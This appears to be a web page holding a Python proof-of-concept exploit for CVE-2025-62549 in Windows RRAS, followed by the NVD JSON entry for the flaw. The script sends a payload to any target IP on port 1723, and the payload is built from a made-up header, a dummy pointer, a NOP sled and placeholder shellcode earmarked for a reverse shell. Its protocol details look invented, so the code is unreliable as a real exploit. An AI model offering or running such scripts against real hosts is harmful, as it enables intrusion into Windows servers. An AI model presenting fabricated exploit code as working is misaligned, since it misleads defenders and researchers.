CVE-2025-62549

# CVE-2025-62549 PoC - Windows RRAS Untrusted Pointer Dereference # This is a demonstration code for educational purposes only import socket import struct import sys def create_rras_exploit_payload(): """ Create a malicious payload to trigger untrusted pointer dereference in Windows RRAS service """ # RRAS protocol header header = b'\x00\x00' # Protocol version header += struct.pack('<H', 0x0001) # Message type (exploit trigger) header += struct.pack('<I', 0x00000000) # Request ID # Malicious pointer value that will cause untrusted dereference # This pointer value is carefully chosen to point to controlled memory malicious_ptr = struct.pack('<Q', 0x4141414141414141) # Controllable address # Padding to reach the vulnerable code path padding = b'\x90' * 100 # Shellcode placeholder (would be replaced with actual meterpreter/reverse shell) shellcode = b'\xCC' * 200 # INT3 for debugging payload = header + malicious_ptr + padding + shellcode return payload def send_exploit(target_ip, target_port=1723): """ Send the exploit payload to target RRAS service Args: target_ip: Target system IP address target_port: RRAS service port (default: 1723 for PPTP) """ try: print(f"[*] Creating exploit payload for CVE-2025-62549") payload = create_rras_exploit_payload() print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)") sock.send(payload) print(f"[*] Payload sent, waiting for response...") response = sock.recv(1024) print(f"[*] Received response: {len(response)} bytes") sock.close() print("[*] Exploit sent successfully") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_62549_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1723 send_exploit(target, port)

{"cve": {"id": "CVE-2025-62549", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:59.943", "lastModified": "2025-12-24T15:16:01.977", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "BCB3A273-FB6E-43DC-A247-363179C2400C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62549", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-62549-detection-script-rce-vulnerability-in-windows-routing-and-remote-access-service", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-62549-mitigation ... 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